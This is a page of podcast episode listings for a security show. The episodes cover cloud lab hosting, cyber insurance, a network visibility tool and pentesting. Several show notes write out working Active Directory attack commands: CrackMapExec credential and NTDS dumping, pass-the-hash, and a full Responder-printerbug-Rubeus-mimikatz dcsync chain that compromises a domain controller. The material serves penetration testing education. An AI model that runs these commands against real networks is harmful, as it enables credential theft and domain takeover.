7MS #506: Tales of Pentest Pwnage - Part 32

Today we offer you some first impressions of OVHcloud and how we're seriously considering moving our Light Pentest LITE training class to it! TLDR: It runs on vCenter, my first and only virtualization love! Unlimited VM "powered on" time and unlimited bandwidth Intergration with PowerShell so you can run a single script to "heal" your environment to a gold image Easy integration with pfSense to be able to manage the firewall and internal/external IPs Price comparable to what we're paying now in Azure land

17 Maalis 202343min

Hey friends, today we're covering part 2 of our series all about cracking and mapping and execing with CrackMapExec. Specifically we cover: # Enumerate where your user has local admin rights: cme smb x.x.x.x/24 -u user -p password # Set wdigest flag: cme smb x.x.x.x -u user -p password -M wdigest -o ACTION=enable # Dump AD creds: cme smb IP.OF.DOMAIN.CONTROLLER -u user -p password --ntds --enabled # Clean up AD dump output: cat /path/to/file.ntds | grep -iv disabled | cut -d ':' -f1,4 | grep -v '\$' | sort # Check ms-ds-machineaccountquota: cme ldap x.x.x.x -u user -p password -M maq # Check for Active Directory Certificate Services: cme ldap x.x.x.x -u user -p password -M adcs # Pull all AD user descriptions: cme ldap x.x.x.x -u user -p password -M get-desc-users # Pull all AD user descriptions down to a file and search for users with "pass" in description: cme ldap x.x.x.x -u user -p password -M user-desc # CrackMapExec database (CME) ## Clear database sudo rm -r ~/.cme ## Handy commands inside the cmedb prompt: hosts shares creds export shares detailed shares.csv export creds detailed creds.txt

10 Maalis 202335min

Hey friends, today we covered many things cracking and mapping and execing with CrackMapExec. Specifically: # General enumeration to see if your account works, and where: cme smb x.x.x.x -u username -p pass # Check if print services are enabled: cme smb x.x.x.x -u username -p pass -M spooler # Check for the nopac vuln: cme smb x.x.x.x -u username -p pass -M nopac # Find GP passwords: cme smb DOMAIN.CONTROLLER.IP.ADDRESS -u username -p pass -M gpp_password # Get list of targets with smb signing: cme smb x.x.x.x -u username -p pass --gen-relay-list smbsigning.txt # Set wdigest flag: cme smb x.x.x.x -u username -p pass -M widgest -o ACTION=enable # Dump creds/hashes: cme smb x.x.x.x -u username -p pass -M lsassy # Do pass the hash attacks cme smb x.x.x.x -u username -H HASH # Dump SAM database: cme smb x.x.x.x -u username -p pass --sam # Enumerate SMB shares cme smb x.x.x.x -u username -p pass --shares # Conduct slinky attack: cme smb x.x.x.x -u username -p pass -M slinky -o NAME=LOL SERVER=10.0.7.7 # Cleanup from slinky attack: cme smb x.x.x.x -u username -p pass -M slinky -o NAME=LOL SERVER=10.0.7.7

3 Maalis 202340min

Today I sat down with Chris Furner of Blumira to talk about all things cyber insurance. Many of 7MinSec's clients are renewing their policies this time of year, and many are looking into policies for the first time. Naturally, there are a ton of questions to ask and things to think about to make good coverage decisions for your business: How do I get started in looking for a cyber policy - with my general liability insurer? Or are there companies that specialize just in cyber insurance? How do I make sure I have the appropriate levels of coverage? What are basic things I can do from a security standpoint that pretty much any insurer is going to expect me to do? Enjoy the interview, where we cover these questions - and more! And be sure to also check out Blumira's whitepaper on this topic called The State of Cyber Insurance.

24 Helmi 202346min

Hey friends, I took a mental health break this week and pre-podcasted this episode of a new series called 7MOOCH: 7 Minutes of Only Chuckles. In today's story, we unpack a situation in Hawaii that made me exclaim the following quite loudly: "Dolphin rides are done, dude!"

17 Helmi 202312min

Ooooo giggidy! Today's episode is about a pentest pwnage path that is super fun and interesting, and I've now seen 3-4 times in the wild. Here are some notes from the audio/video that will help bring this to life for you (oh and read this article for a great tech explanation of what's happening under the hood): Change the Responder.conf file like so: ; Custom challenge. ; Use "Random" for generating a random challenge for each requests (Default) Challenge = 1122334455667788 Run Responder with --disable-ess flag sudo python3 /opt/responder/Responder.py -I eth0 --disable-ess Use printerbug to coax authentication from a domain controller: sudo python3 /opt/krbrelay-dirkjanm/printerbug.py yourdomain.com/someuser@IP.OF.DOMAIN.CONTROLLER IP.OF.ATTACKING.BOX Convert hash to make it easier to crack! sudo python3 /opt/ntlmv1-multi/ntlmv1.py --ntlmv1 THE-HASH-YOU-GOT-FROM-RESPONDER Take the NTHASH:XXX token and go to crack.sh to have it cracked in about 30 seconds! Now you can do a Rubeus asktgt with the DC hash: rubeus.exe asktgt /domain:yourdomain.com /user:DOMAIN-CONTROLLER-NAME$ /rc4:HASH-GOES-HERE /nowrap Now pass the ticket and impersonate the DC LOL MUAHAHAHAHAHAHAAH!! rubeus.exe ptt /ticket:TICKET GOES HERE Use mimikatz to dump all hashes! mimikatz.exe privilege::debug log hashes.txt lsadump::dcsync /domain:yourdomain.com /all /csv

10 Helmi 202322min

Today we continue part 2 of a series we started a few weeks ago all about building a vulnerable pentesting lab. Check out the video above, and here are the main snippets of code and tips to get you going: Use Youzer to import a bunch of bogus users into your Active Directory: sudo python ./youzer.py --generate --generate_length 20 --ou "ou=Contractors,dc=brifly,dc=us" --domain brifly.us --users 1000 --output lusers.csv Make a Kerberoastable user: New-AdUser -Name "Kerba Roastable" -GivenName "Kerba" -Surname "Roastable" -SamAccountName Kerba -Description "ROASTED!" -Path "OU=Contractors,DC=brifly,DC=us" -AccountPassword (ConvertTo-SecureString "Password1" -AsPlainText -force) -passThru -PasswordNeverExpires $true enable-adaccount Kerba setspn -a IIS_SITE/brifly-dc01.brily.us:77777 briflyus\kerba

7 Helmi 202322min

Today we're talking about Teleseer, which is an awesome service to give you better network visibility - whether you're on the blue, red or purple team! It all starts with a simple packet capture, and ends with gorgeous visuals and insight into what the heck is on your network and - from a pentester's perspective - delicious vulnerabilities that may lie within!

27 Tammi 20237min